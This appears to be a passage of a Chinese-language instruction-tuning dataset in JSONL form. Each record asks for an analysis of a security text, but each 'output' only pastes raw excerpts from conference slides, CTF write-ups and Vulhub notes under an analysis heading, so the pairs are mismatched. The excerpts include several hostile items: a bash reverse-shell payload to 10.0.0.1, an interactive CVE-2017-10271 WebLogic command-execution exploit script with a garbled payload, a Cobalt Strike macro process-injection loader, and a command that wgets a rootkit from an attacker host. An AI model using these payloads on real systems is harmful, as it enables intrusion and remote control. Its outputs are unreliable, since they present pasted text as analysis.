3. 除符号位外,按位取反再加1 1100 0000 0000 0000 0000 0000 0010 0010 4. 转换成十六进制 C 0 0 0 0 0 0 2 2 ``` > 这里可以直接右键 Hexadecimal 进行转换 这个 0xc000022 搜一下就知道是 windows 常用的一个报错即拒绝访问也就是设计之初内核是不允许用户直接使用这个符号链接的 这个直接返回拒绝再处理 IRP 时没有设置 IRP 的状态码和调用 IoCompleteRequest 结束 IRP导致当 IRP 返回时其 IoStatus.Status 为 0NTSTATUS 值为 0 为 NT_SUCCESS而在函数 IopPraseDevice 中是以 IoStatus.Status 为准, 所以 IopPraseDevice 错误的认为 IoCalldriver 是成功的进而引发后续错误地关闭文件对象从而导致蓝屏手动测试修改 IoStatus.Status 为失败值蓝屏消失 IoStatus.Status 这里可以参考 - https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/completing-the-irp - Completing the IRP - https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/using-ntstatus-values - Using NTSTATUS Values --- **Source & Reference** - [Windows 10 bug crashes your PC when you access this location](https://www.bleepingcomputer.com/news/security/windows-10-bug-crashes-your-pc-when-you-access-this-location/) - [更新深信服EDR快速响应支持防护Windows condrv.sys内存损坏漏洞](https://mp.weixin.qq.com/s/QhGYn6wPquSY6obvjgt8VQ) - [驱动在IoCallDriver之前应设置IoStatus.status的状态](https://www.jianshu.com/p/29fddad42736)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nThe Six Year Old Hacker: References and resources: Educational Theory, Piaget, Montessori, Papert and others: http://education.indiana.edu/~p540/webcourse/develop.html http://www.ship.edu/~cgboeree/piaget.html http://www.montessori.edu/ http://www.montessori.org/ Stoll Lillard, Angeline; Montessori: The Science Behind the Genius (Oxford University Press 2005) http://www.papert.org/ Papert, Seymour; Mindstorms: Children, Computers, and Powerful Ideas, (Basic Books 1999) Papert, Seymour; Constructionism Research Reports and Essays, 1985-1990 (Greenwood Pub Group 1991) Programing: LOGO Foundation. http://el.media.mit.edu/logo-foundation/ UCB LOGO, runs under several OSs. A good source for serious LOGO programing texts. http://www.cs.berkeley.edu/~bh/logo.html Windows version of LOGO derived from UCB LOGO. Runs well under Wine. Good links. http://www.softronix.com/logo.html Two good sources for programing projects. Life and CoreWar! Dewdney, A. K.; Armchair Universe: An Exploration of Computer Worlds (New York: W. H Freeman & Co 1988) Dewdney, A. K.; The Tinkertoy Computer and Other Machinations: Computer Recreations... (New York:W. H Freeman & Co 1993)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHacking from the Palm of your Hand Paul Clip DEFCON - August 01, 2003 P R O P R I E T A R Y B U T N O T C O N F I D E N T I A L 2 0 0 3 @ S T A K E , I N C . Agenda Goals Past Overview of the Palm Platform Hacker Tools on the Palm Present AUSTIN - A Palm OS Vulnerability Scanner Architecture Features Demos But wait, theres more!!! Future New Features P R O P R I E T A R Y B U T N O T C O N F I D E N T I A L 2 0 0 3 @ S T A K E , I N C . Goals Overview of Palm OS as a hacking platform Walkthrough of a Palm OS-based vulnerability scanner Architecture Features & how theyre implemented Lessons learned Release a new tool for Palm OS Have Fun! P R O P R I E T A R Y B U T N O T C O N F I D E N T I A L 2 0 0 3 @ S T A K E , I N C . The Past Trivia Questions: What was the first Palm Pilot called? How much memory did it have? P R O P R I E T A R Y B U T N O T C O N F I D E N T I A L 2 0 0 3 @ S T A K E , I N C . The Palm Platform Old Motorola 68K processor Max speed 66MHz RAM 2-16MB Typical resolution 1602 Some color, some b/w screens Serial/USB port IR Some expansion slots PalmOS 4.x and below New ARM processor Max speed 150? 200? 400? MHz RAM 16-32MB Typical resolution 3202 All color USB port IR Expansion slots PalmOS 5.x and above P R O P R I E T A R Y B U T N O T C O N F I D E N T I A L 2 0 0 3 @ S T A K E , I N C . Security Tools Password Generators http://www.freewarepalm.com/utilities/passgen.shtml http://www.freewarepalm.com/utilities/passphrase.shtml Encryption http://cryptopad.sourceforge.net/ http://linkesoft.com/secret/ Password Crackers (old) http://atstake.com/research/tools/password_auditing/ War Dialer http://atstake.com/research/tools/info_gathering/ P R O P R I E T A R Y B U T N O T C O N F I D E N T I A L 2 0 0 3 @ S T A K E , I N C . Communication Tools Telnet http://netpage.em.com.br/mmand/ptelnet.htm SSH (v1 only) http://online.offshore.com.ai/~iang/TGssh/ Web & Mail http://www.eudora.com/internetsuite/ Ping http://www.", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n企业SDL实践与经验 美图安全经理Security Paper发起人 SDL是什么 标准化 SDL基本流程 1. 安全培训 2. 需求评估 3. 产品设计 4. 代码编写 5. 渗透测试 6. 上线发布 7. 应急响应 安全培训 意识 WEB安全培训 针对服务端开发 哪里容易出现漏洞 怎么写会更安全 APP安全培训 针对APP开发 数据加密存储 不应该存储敏感数据 安全意识 针对全体项目成员 敏感数据处理办法 如何发送敏感数据 需求评估&产品设计 覆盖 应用系统自身架构安全 应用系统软件功能安全设计要求 应用系统存储安全设计要求 应用系统通讯安全设计要求 应用系统数据库安全设计要求 应用系统数据安全设计要求 后门参数 部署安全检查 身份认证逻辑安全 数据访问机制 集中验证 外部一体化 入口点 外部API 代码编写 规范 危险函数 安全配置 框架安全 常见安全问题代码示例 渗透测试 速度&深度 自劢化扫描 常见场景快速测试点 代码安全检查 上线发布 1. 安全嵌入上线流程 2. 安全准入 3. 安全检查 应急响应 应急响应方案 确保方案落地到人 有电话号码 遏制 复盘 为什么流程这么难推动 君子协定到底可以不可以 金杯共饮之 白刃不相饶 Security Paper 遏制", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Get started (pwn 100) ###ENG [PL](#pl-version) In the task we get an ELF [binary](get_started) to work with. Ret-dec results are: ```c int main(int argc, char ** argv) { printf(\"Qual a palavrinha magica? \"); int32_t str; gets((char *)&str); return 0; } ``` So not much code is executed, but we can see that there is a blatant stack buffer overflow. The task description hints that we don't need to get a shell here, everything is in the binary. So we look at the disassembly and in fact there is: ```asm ; function: get_flag at 0x80489a0 -- 0x8048a1f 0x80489a0: 56 push esi 0x80489a1: 83 ec 08 sub esp, 0x8 0x80489a4: 81 7c 24 10 4f d6 8c 30 cmp dword [ esp + 0x10 ], 0x308cd64f 0x80489ac: 75 67 jnz 0x8048a15 0x80489ae: 81 7c 24 14 d1 19 57 19 cmp dword [ esp + 0x14 ], 0x195719d1 0x80489b6: 75 5d jnz 0x8048a15 0x80489b8: c7 44 24 04 68 dd 0c 08 mov dword [ esp + 0x4 ], 0x80cdd68 ; \"rt\" 0x80489c0: c7 04 24 88 c3 0b 08 mov dword [ esp ], 0x80bc388 ; \"flag.txt\" 0x80489c7: e8 44 6c 00 00 call 0x804f610 0x80489cc: 89 c6 mov esi, eax 0x80489ce: 89 34 24 mov dword [ esp ], esi 0x80489d1: e8 8a 87 00 00 call 0x8051160 0x80489d6: 0f b6 c8 movzx ecx, al 0x80489d9: 81 f9 ff 00 00 00 cmp ecx, 0xff 0x80489df: 74 2c jz 0x8048a0d 0x80489e1: 0f be c8 movsx ecx, al 0x80489e4: 66 0x80489e5: 66 0x80489e6: 66 0x80489e7: 2e 0x80489e8: 0f 1f 84 00 00 00 00 00 nop dword [ eax + eax * 0x0 + 0x0 ] 0x80489f0: 89 0c 24 mov dword [ esp ], ecx 0x80489f3: e8 a8 6d 00 00 call 0x804f7a0 0x80489f8: 89 34 24 mov dword [ esp ], esi 0x80489fb: e8 60 87 00 00 call 0x8051160 0x8048a00: 0f be c8 movsx ecx, al 0x8048a03: 0f b6 c0 movzx eax, al 0x8048a06: 3d ff 00 00 00 cmp eax, 0xff 0x8048a0b: 75 e3 jnz 0x80489f0 0x8048a0d: 89 34 24 mov dword [ esp ], esi 0x8048a10: e8 bb 67 00 00 call 0x804f1d0 0x8048a15: 83 c4 08 add esp, 0x8 0x8048a18: 5e pop esi 0x8048a19: c3 ret 0x8048a1a: 66 0x8048a1b: 0f 1f 44 00 00 ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n我的CS笔记之- In-memory Evasion 2 0x01 前言 内存逃逸的第二部分主要是作者讲诉CS的Payload的一个完整执行流程这个对理解CS植入体非常重 要对后面做免杀规避都起到很大作用第一部分讲侦测手法第二部分讲自身运行流程真的是知 己知彼这一部分作者先讲诉了Stager是什么然后讲述一个分段加载Payload的完整执行流程接着 就是不分段加载最后作者讲了进程注入相关技术在CS中的应用 0x02 分阶段payload和不分阶段payload 关于分不分阶段使用过CS的小伙伴应该都很清楚了但是里面的具体细节相信很多小伙伴也是一知 半解下面就详细说下分阶段Payload 分阶段的payload在进程中执行的流程 1. 申请一个块儿内存allocate memory 2. 复制Stager去这一块儿内存里 3. 创建一个线程运行这个Stager 4. 这个Stager会再次申请一块儿内存allocate memory 5. Stager去下载加密的payload写入申请的内存中 6. Stager把执行流程转递给这个加密的payload 7. 加密的payload自解密成Reflective DLL 8. 然后把执行流程传递给Reflective DLL 9. Reflective DLL 申请一个块儿内存allocate memory 10. 然后初始化自己在新的内存里面 11. 最后reflective DLL 调用payload的入口点函数 这就是一个分阶段的payload的完整加载流程如果你细细思考里面存在一个问题就是第7步被加密 的payload怎么自解密实际情况是这个所谓的被加密的payload分为2部分一部分是解密程序这个 是不加密的然后才是被加密的反射dll也就是Beacon.dll 从1-3是我们loader的执行3-6是Stager在内存中的执行7-8是加密payload的执行9-11是反射DLL 的执行 我们通过CS生成一个macro样本loader直观的感受下 loader Private Type PROCESS_INFORMATION hProcess As Long hThread As Long dwProcessId As Long dwThreadId As Long End Type Private Type STARTUPINFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily No. 1 / 7 - Welcome to www.red-team.cn dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Long hStdInput As Long hStdOutput As Long hStdError As Long End Type #If VBA7 Then Private Declare PtrSafe Function CreateStuff Lib \"kernel32\" Alias \"CreateRemoteThread\" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr Private Declare PtrSafe Function AllocStuff Lib \"kernel32\" Alias \"VirtualAllocEx\" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr Private Declare PtrSafe Funct", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nMoreFind 款于快速导出URLDomain和IP的具 快速安装 式: 通过Go包管理安装 式: 直接安装进制件 式三: 本地编译 法说明 1)帮助信息 go install github.com/mstxq17/MoreFind@latest wget --no-check-certificate https://ghproxy.com/https://github.com/mstxq17/MoreFind/releases/download/v1.0.2/MoreFi nd_1.0.2_`uname -s`_`uname -m`.tar.gz tar -xzvf MoreFind_1.0.2_`uname -s`_`uname -m`.tar.gz sudo mv ./MoreFind /usr/bin/MoreFind && chmod +x /usr/bin/MoreFind git clone https://github.com/mstxq17/MoreFind.git chmod +x ./build.sh && ./build.sh MoreFind -h 2)导出URL 3)导出域名 4)导出ip 5)持导出结果 TODO 1)优化代码逻辑和结构 2)输出结果动去重复 MoreFind -u MoreFind -d MoreFind -i MoreFind -u -d -i -o result.txt 3)完善脚本异常处理部分 4)加部分URL智能去重代码 5)完善Log输出处理 6)实现动强制更新", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Spring WebFlow 远程代码执行漏洞CVE-2017-4971 Spring WebFlow 是一个适用于开发基于流程的应用程序的框架如购物逻辑可以将流程的定义和实现流程行为的类和视图分离开来在其 2.4.x 版本中如果我们控制了数据绑定时的field将导致一个SpEL表达式注入漏洞最终造成任意命令执行 参考链接 - https://threathunter.org/topic/593d562353ab369c55425a90 - https://pivotal.io/security/cve-2017-4971 ## 测试环境 运行测试环境 ``` docker compose up -d ``` 等待环境启动后访问`http://your-ip:8080`将看到一个酒店预订的页面这是spring-webflow官方给的简单示例 ## 漏洞复现 首先访问`http://your-ip:8080/login`用页面左边给出的任意一个账号/密码登录系统 ![](1.png) 然后访问id为1的酒店`http://your-ip:8080/hotels/1`点击预订按钮Book Hotel填写相关信息后点击Process从这一步其实WebFlow就正式开始了 ![](2.png) 再点击确认Confirm ![](3.png) 此时抓包抓到一个POST数据包我们向其中添加一个字段也就是反弹shell的POC ``` _(new java.lang.ProcessBuilder(\"bash\",\"-c\",\"bash -i >& /dev/tcp/10.0.0.1/21 0>&1\")).start()=vulhub ``` ![](4.png) 注意别忘记URL编码 成功执行获得shell ![](5.png)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nB O S S E E R I K S O N / B I T S E C < B O S S E . E R I K S S O N @ B I T S E C . S E > Runtime Kernel Patching on Mac OS X Defcon 17, Las Vegas Who am I? Bosse Eriksson Security Consultant / Researcher at Bitsec Unhealthy fetish for breaking stuff Recently been looking into Mac OS X rootkit techniques Agenda Intro What is a rootkit? OS X? BSD? XNU? Runtime kernel patching Runtime kernel patching on OS X PoC runtime kernel patching rootkit for OS X Rootkit detection References Q&A What is a rootkit? Program for access retention Local / remote backdoors Typically requires root access NOT an exploit or a trojan horse Stealth Hides files/processes/sockets Types of rootkits Userspace Easy to implement Easy to discover Kernelspace Hard(er) to implement Much harder to detect if done properly Pwning Simple Illustration This is when you get pwned (exploit) $ ./0day h mail.doxp*ra.com - connecting - exploiting % uname a; id FreeBSD living*nd.org 7.0-STABLE FreeBSD 7.0-STABLE #0: Mon Jul 28 18:18:06 PDT 2008 psm@pmjm.com:/usr/obj/usr/src/sys/GENERIC i386 uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) and this is when you stay pwned (rootkit) % wget http://attackerhost/rootkit > /dev/null ; chmod +x rootkit % ./rootkit -i Rootkit examples Userspace Various evil patches to ls/netstat/ps etc Also binary patches Kernelspace Phalanx by rebel Runtime kernel patching rootkit for Linux 2.6 Uses /dev/mem to patch kernel memory and hook syscalls SucKIT by sd Runtime kernel patching rootkit for Linux 2.4 (SucKIT 2 for Linux 2.6) Uses /dev/kmem to patch kernel memory and hook syscalls Knark by Creed LKM for Linux 2.2 Hooks syscalls WeaponX by nemo Kernel module (KEXT) for OS X < 10.3 First public OS X kernel rootkit OS X? BSD? XNU? XNU is the kernel of the OS X operating system Built on both BSD and Mach technology BSD layer Networking Processes POSIX API and BSD syscalls Mach layer Kernel threads Interrupts Memory manageme", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1200 EIGHTEENTH STREET, NW WASHINGTON, DC 20036 TEL 202.730.1300 FAX 202.730.1301 WWW.HARRISWILTSHIRE.COM ATTORNEYS AT LAW March 14, 2007 Via Electronic Filing Ms. Marlene H. Dortch, Secretary Federal Communications Commission 445 12th Street, SW Washington, DC 20554 Re: Notice of Ex Parte Communication, ET Docket Nos. 04-186, 02-380 Dear Ms. Dortch: On March 13, 2007, on behalf of a coalition that includes Dell, Inc., Google, Inc., the Hewlett- Packard Co., Intel Corp., Microsoft Corp., and Philips Electronics North America Corp., Srihari Narlanka of Microsoft; William Brown and John Clark, outside consultants to Microsoft; and Edmond Thomas and S. Roberts Carter of Harris, Wiltshire & Grannis LLP submitted a prototype TV band device to the FCC Laboratory for testing. The above-named individuals also met with Rashmi Doshi, Steven Jones, and Steven Martin of the Office of Engineering and Technology to provide instruction on the operation of the device. On March 14, 2007, Messrs. Thomas, Narlanka, Brown, and Clark met with Messrs. Doshi and Jones as well as Thomas Phillips of the OET staff to discuss further the operation of the device. In addition, the Coalition provided OET staff with a copy of the device manual, attached hereto. Pursuant to the Commissions rules, a copy of this notice is being filed electronically in the above-referenced dockets. If you require any additional information please contact the undersigned at (202) 730-1305. Sincerely yours, /s/ Edmond J. Thomas Edmond J. Thomas Senior Policy Advisor HARRIS, WILTSHIRE & GRANNIS LLP Marlene H. Dortch March 14, 2007 Page 2 cc: Julius Knapp Rashmi Doshi Steven Jones Steven Martin Thomas Phillips Microsoft TV White Spaces Development Platform Version 1 Microsoft Microsoft TV White Spaces Development Platform Microsoft Microsoft TV White Spaces Development Platform Microsoft Corporation Srihari Narlanka One Microsoft Way Redmond, WA 98052 (425) 703-8661 sriharin@microsoft.com 2007 Microsoft Corporation. Al", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nfrom __future__ import print_function from builtins import input import requests import sys url_in = sys.argv[1] payload_url = url_in + \"/wls-wsat/CoordinatorPortType\" payload_header = {'content-type': 'text/xml'} def payload_command (command_in): html_escape_table = { \"&\": \"&\", '\"': \""\", \"'\": \"'\", \">\": \">\", \"<\": \"<\", } command_filtered = \"\"+\"\".join(html_escape_table.get(c, c) for c in command_in)+\"\" payload_1 = \" \\n\" \\ \" \" \\ \" \\n\" \\ \" \\n\" \\ \" \\n\" \\ \" \" \\ \" \" \\ \" cmd \" \\ \" \" \\ \" \" \\ \" /c \" \\ \" \" \\ \" \" \\ + command_filtered + \\ \" \" \\ \" \" \\ \" \" \\ \" \" \\ \" \" \\ \" \" \\ \" \" \\ \" \" \\ \"\" return payload_1 def do_post(command_in): result = requests.post(payload_url, payload_command(command_in ),headers = payload_header) if result.status_code == 500: print(\"Command Executed \\n\") else: print(\"Something Went Wrong \\n\") print(\"***************************************************** \\n\" \\ \"**************** Coded By 1337g ****************** \\n\" \\ \"* CVE-2017-10271 Blind Remote Command Execute EXP * \\n\" \\ \"***************************************************** \\n\") while 1: command_in = input(\"Eneter your command here: \") if command_in == \"exit\" : exit(0) do_post(command_in)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHacking Internet Kiosks Paul Craig Defcon 16 Las Vegas Who am I? Paul Craig Principal Security Consultant. Security-Assessment.com, Auckland, NEW ZEALAND! Application Penetration Tester. Devoted Hacker Shameless Alcoholic Email: paul.craig@security-assessment.com www: http://www.security-assessment.com Overview Kiosks 101 What is an Internet Kiosk. Kiosk Software Security Model. Hacking Internet Kiosks Vulnerabilities in the Kiosk Security Model. Kiosk Hacking Techniques. Tool Release: iKAT : interactive Kiosk Attack Tool. iKAT Officially Released at Defcon 16! Hack any internet Kiosk in seconds. Live Demos: Hacking Internet Kiosks with iKAT. Overview What Is An Internet Kiosk 16 Months Ago I Was Sitting in an Airport. 8 hour stop over in Hong Kong. Queue of 3-4 people waiting to use an Internet Kiosk. Damn, that internet kiosk sure is popular I wonder if I could hack it. Lemon party the airport.? Why do I never hear about new methods of Kiosk hacking? Kiosks are popular, but rarely appear in security publications. Popularity + Poor Security Visibility = Good Attack Target New Security Research Goal: Find Every Possible Method Of Hacking an Internet Kiosk. Become the Kiosk of Internet Kiosk Hacking! What Is An Internet Kiosk Kiosks are Real Popular. Internet Kiosks Found in : Airports, Train stations, Libraries, DVD Rental Stores, Corporate Building Lobbies, Convenience Stores, Post Office, Cafés. What Is An Internet Kiosk Initial Kiosk Observations: Hardware: Kiosks installed in a custom hard-shell case. Lack of physical access to the computer case. Input devices restricted (Floppy/DVD/USB/FireWire inaccessible). Kiosk is securely bolted to the ground, padlocked. Machine/Cash Box access through Abloy lock. What Is An Internet Kiosk Software. Majority of Kiosks run commercial Kiosk software on Windows. Linux based Kiosks exist, but Windows is more popular. 44 different commercial Kiosk products on the market. Marketed as ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nfrom math import sqrt def fail(memes, calcium): dank = True if calcium < memes: if memes % calcium == 0: dank = False else: wew = fail(memes, calcium + 1) dank = wew return dank def epicfail(memes): if memes > 1: if dank(memes, 2): return 1 + bill(memes - 1) else: return such(memes - 1) return 0 def dootdoot(memes, seals): if seals <= memes: if seals == 0: return 1 else: if seals == memes: return 1 else: return dootdoot(memes - 1, seals - 1) + dootdoot(memes - 1, seals) def such(memes): wow = dootdoot(memes, 5) if wow % 7 == 0: wew = bill(memes - 1) wow += 1 else: wew = epicfail(memes - 1) wow += wew return wow def brotherman(memes): hues = 0 if memes != 0: if memes < 3: return 1 else: wew = brotherman(memes - 1) hues = wew wew = brotherman(memes - 2) hues += wew return hues % 987654321 def bill(memes): wow = fibonacci_mod_987654321(memes) if wow % 3 == 0: wew = such(memes - 1) wow += 1 else: wew = epicfail(memes - 1) wow += wew return wow def me(): memes = 13379447 wew = epicfail(memes) print(wew) me()", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDiscovering and Triangulating Rogue Cell Towers Eric Escobar, PE Security Engineer Reddit: jaycrew A bit about me: Started off in Civil Engineering (MS, PE) Always loved computers Nerded out on all things wireless Licensed HAM I love to automate things Chicken coop Sprinklers Caught the DEF CON bug Wireless CTF A bit about what I do: Security Engineer for Barracuda Networks Incident Response Pentesting Red Team, Blue Team Social Engineering Phishing Campaigns Bug bounty Infrastructure scanning Product team relations 2FA, IPAM Heres what we are going to cover: What is a rogue cell tower? Why should you care about rogue cell towers? How can you detect a rogue cell tower? How do you find a rogue cell tower? How do you build a detector at home? Youve detected a rogue tower now what? What is a rogue cell tower? A device created (or purchased) by companies, governments or hackers that has the ability to trick your phone into thinking its a real cell phone tower. Also known as IMSI catchers, interceptors, cell-site simulators, Stingrays, and probably a few more. Rogue cell towers have the ability to collect information about you indirectly through metadata (call length, dialed numbers) In some conditions can collect content of messages, calls, and data. How are cell simulators used today? In the United States: IMSI-catchers are used by US law enforcement agencies to help locate, track, and collect data on suspects. ACLU has identified 66 agencies and 24 states that own stingrays. Used to monitor demonstrations in the US Used in Chicago political protests IMSI Catcher Counter-Surveillance Freddy Martinez Its possible to make an IMSI-catcher at home DEFCON 18: Practical Cellphone Spying - Chris Paget How are cell simulators used today? Further reading: EFF.org Cell-site simulator FAQ ACLU Stingray Tracking Devices: Whos Got Them How are cell simulators used today? Abroad: Reported use in Ireland, UK, China, Germany, Norway, South Afri", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nTrojan-tolerant Hardware & Supply Chain Security in Practice Who we are Vasilios Mavroudis Doctoral Researcher, UCL Dan Cvrcek CEO, Enigma Bridge George Danezis Professor, UCL Petr Svenda CTO, Enigma Bridge Assistant Professor, MUni Highlights HSMs & Shortcomings Existing Solutions Lessons learned from airplanes Hardware Prototype Crypto Protocols Attack-Defense Demo Politics, Distrust & Hardware Security Hardware Security Modules Physical computing device that safeguards and manages digital keys for strong authentication and provides cryptoprocessing. Applications: Cryptographic key generation, storage, management Sensitive data handling and storage Application servers offloading Crypto Operations are carried out in the device No need to output the private keys! HSM Threat Model Common Use cases: PKIs, Card payment systems, SSL connections, DNSSEC, &Transparent Data Encryption for Databases Certified to Common Criteria or FIPS 140: Anti-Tampering Protection Strong Random Number Generator Cryptographic key management Bugs Errors Backdoors/HT CVE-2015-5464 The HSM allows remote authenticated users to bypass intended key-export restrictions Existing Solutions Trusted Foundries Very expensive Prone to errors Split-Manufacturing Still Expensive Again prone to errors Not 100% secure Post-fabrication Inspection Expensive A huge pain, doesnt scale Secret-sharing Keys generated by a trusted party Only for key storage Alternative approaches? A solution from the sky (not the cloud) Lockstep systems are fault-tolerant computer systems that run the same set of operations at the same time in parallel. Dual redundancy allows error detection and error correction Triple redundancy automatic error correction, via majority vote Triple Redundant 777 Primary Flight Computer Not so fast Fault-tolerant systems are built for safety The computations are simply replicated The majority vote part is using a trusted IC Not enough for security! Redundancy for security", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n'\\\" t .TH \"LOCALE\\&.CONF\" \"5\" \"\" \"systemd 231\" \"locale.conf\" .\\\" ----------------------------------------------------------------- .\\\" * Define some portability stuff .\\\" ----------------------------------------------------------------- .\\\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\\\" http://bugs.debian.org/507673 .\\\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\\\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \\n(.g .ds Aq \\(aq .el .ds Aq ' .\\\" ----------------------------------------------------------------- .\\\" * set default formatting .\\\" ----------------------------------------------------------------- .\\\" disable hyphenation .nh .\\\" disable justification (adjust text to left margin only) .ad l .\\\" ----------------------------------------------------------------- .\\\" * MAIN CONTENT STARTS HERE * .\\\" ----------------------------------------------------------------- .SH \"NAME\" locale.conf \\- 本地化(locale)配置文件 .SH \"SYNOPSIS\" .PP /etc/locale\\&.conf .SH \"描述\" .PP /etc/locale\\&.conf 文件用于 全系统范围的本地化(locale)设置此文件会在系统启动的早期阶段被 \\fBsystemd\\fR(1) 读取 .PP locale\\&.conf 文件的基本格式 是一系列换行符分隔的 VAR=VALUE 行(每行一个变量) 可以直接嵌入到 shell 脚本中使用 注意此文件并不支持变量替换之类的任何高级 shell 特性 以便于应用程序无须支持这些高级 shell 特性 即可直接使用此文件 .PP 注意下列内核引导选项 \\fIlocale\\&.LANG=\\fR, \\fIlocale\\&.LANGUAGE=\\fR, \\fIlocale\\&.LC_CTYPE=\\fR, \\fIlocale\\&.LC_NUMERIC=\\fR, \\fIlocale\\&.LC_TIME=\\fR, \\fIlocale\\&.LC_COLLATE=\\fR, \\fIlocale\\&.LC_MONETARY=\\fR, \\fIlocale\\&.LC_MESSAGES=\\fR, \\fIlocale\\&.LC_PAPER=\\fR, \\fIlocale\\&.LC_NAME=\\fR, \\fIlocale\\&.LC_ADDRESS=\\fR, \\fIlocale\\&.LC_TELEPHONE=\\fR, \\fIlocale\\&.LC_MEASUREMENT=\\fR, \\fIlocale\\&.LC_IDENTIFICATION=\\fR 可用于覆盖此文件中的设置 .PP /etc/locale\\&.conf 中的设置是全系统范围的默认设置 会被每一个单元与用户继承 除非之后又被某个进程或用户刻意修改 .PP 在某些发行版上如果该文件不存在 可能还会到其他位置去寻找 这取决于个别发行版自己的设置 .PP 可以使用 \\fBlocalectl\\fR(1) 在运行时修改此文件的内容 可以使用 \\fBsystemd-firstboot\\fR(1) 初始化已挂载(但未启动)的系统镜像的本地化(locale)设置 .SH \"选项\" .PP 可以在 /etc/locale\\&.conf 中使用 \\fILANG=\\fR, \\fILANGUAGE=\\fR, \\fILC_CTYPE=\\fR, \\fILC_NUMERI", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Heap overflow Binary Exploitation, 450 points ## Description: > Just pwn this using a heap overflow taking advantage of douglas malloc free program and get a flag. ```c #include #include #include #define FLAGSIZE 128 void win() { char buf[FLAGSIZE]; FILE *f = fopen(\"flag.txt\",\"r\"); fgets(buf,FLAGSIZE,f); fprintf(stdout,\"%s\\n\",buf); fflush(stdout); } int main(int argc, char *argv[]) { char *fullname, *name, *lastname; fullname = malloc(666); name = malloc(66); lastname = malloc(66); printf(\"Oops! a new developer copy pasted and printed an address as a decimal...\\n\"); printf(\"%d\\n\",fullname); printf(\"Input fullname\\n\"); gets(fullname); printf(\"Input lastname\\n\"); gets(lastname); free(fullname); puts(\"That is all...\\n\"); free(name); free(lastname); exit(0); } ``` Hints: * https://www.win.tue.nl/~aeb/linux/hh/hh-11.html ## Solution: This is an artificial example taken from [Secure Coding in C and C++](https://www.amazon.com/Secure-Coding-2nd-Software-Engineering/dp/0321822137). A complete analysis of the example exists in the book (section 4.6, Doug Lea's Memory Allocator, a.k.a. `dlmalloc`), and this writeup is inspired by it. The vulnerability here is a classic *heap overflow*, caused by an unbound read to a heap buffer: `gets(fullname)`. Using this vulnerability, it is possible to write a DWORD to an arbitrary memory location. In order to understand how this is done, we need to understand the `dlmalloc` heap. In this heap implementation, the heap is divided into chunks. When a user calls `malloc`, the heap manager allocates a chunk and returns it to the user. However, the address that `malloc` returns isn't the beginning of the chunk - there is some metadata before it. This is how a heap chunk looks like when it is allocated: ``` +------------------------+---+ | Size of chunk | P | Pointer returned by malloc --> +------------------------+---+ | User Data | | | | | | | | | +----------------------------+ ``` The size of the chunk is sa", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nLadar Levison Stephen Watt What is Dark Mail? What is Dark Mail? What is DIME? Did you write down the formula? Dark Internet Mail Environment DIME Illustrated User Client DARPA NET DMAP DMTP Resolver Transport Signet Service Global Ledger (Optional) Dark Messages Server ] ] Signets Signets DNS Why Do We Need It? Guilt by Association Mass Surveillance (Gotta Love Backbone Slurping) Service Provider (PRTT Orders, Search Warrants, NSLs, FISC Warrants) Goals Message Confidentiality Author Validation Minimize Metadata Exposure Automagical Key Management Efficient Access from Multiple Clients Deployment Flexibility Get everyone using it! The more people using it, the more valuable it becomes. How far will they go? How will they attack? Weak Points DNS Password Strength Endpoint Security Cryptographic Algorithms Implementation Vulnerabilities JavaScript Clients For those addicted to Webmail * Warning: if the world adopts end-to-end cryptography for communications, then its only a matter of time hardware will start shipping from the factory with a backdoor. Lets Get Back to DIME 